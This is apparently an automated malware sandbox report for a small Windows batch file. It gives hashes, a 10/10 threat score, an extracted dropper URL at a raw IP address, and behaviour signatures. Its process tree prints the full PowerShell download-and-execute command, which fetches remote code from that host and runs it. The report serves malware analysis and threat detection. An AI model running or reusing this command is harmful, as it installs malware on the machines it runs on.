Analysis
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max time kernel
106s -
max time network
108s -
platform
windows10_x64 -
resource
win10v200410 -
submitted
22-04-2020 18:10
General
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Target
xKjRCNKk.bat
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Size
191B
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MD5
4fcc8ad649697f1f1dc32ca5b7869546
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SHA1
9b8655873f6850535ff1809a50c285b2a0a83a92
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SHA256
ffa870123e678c181157b41e18ef4d46d9e7bcc79f8bac7cf24252a119d3a9b0
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SHA512
7a33e722594d66080716fd63e156626a11b0d3828f7aa8ff029a5b4eb2015a1c47290a422570f6e877d441573b698411a8e5c9a0cc7386bde7395631e74959f9
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/xKjRCNKk
Signatures
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Suspicious behavior: EnumeratesProcesses 14 IoCs
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Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.
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Program crash 1 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xKjRCNKk.bat"1⤵
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/xKjRCNKk');Invoke-PKGAFUQO;Start-Sleep -s 10000"2⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3512 -s 7043⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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Filesize
4KB
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Filesize
4KB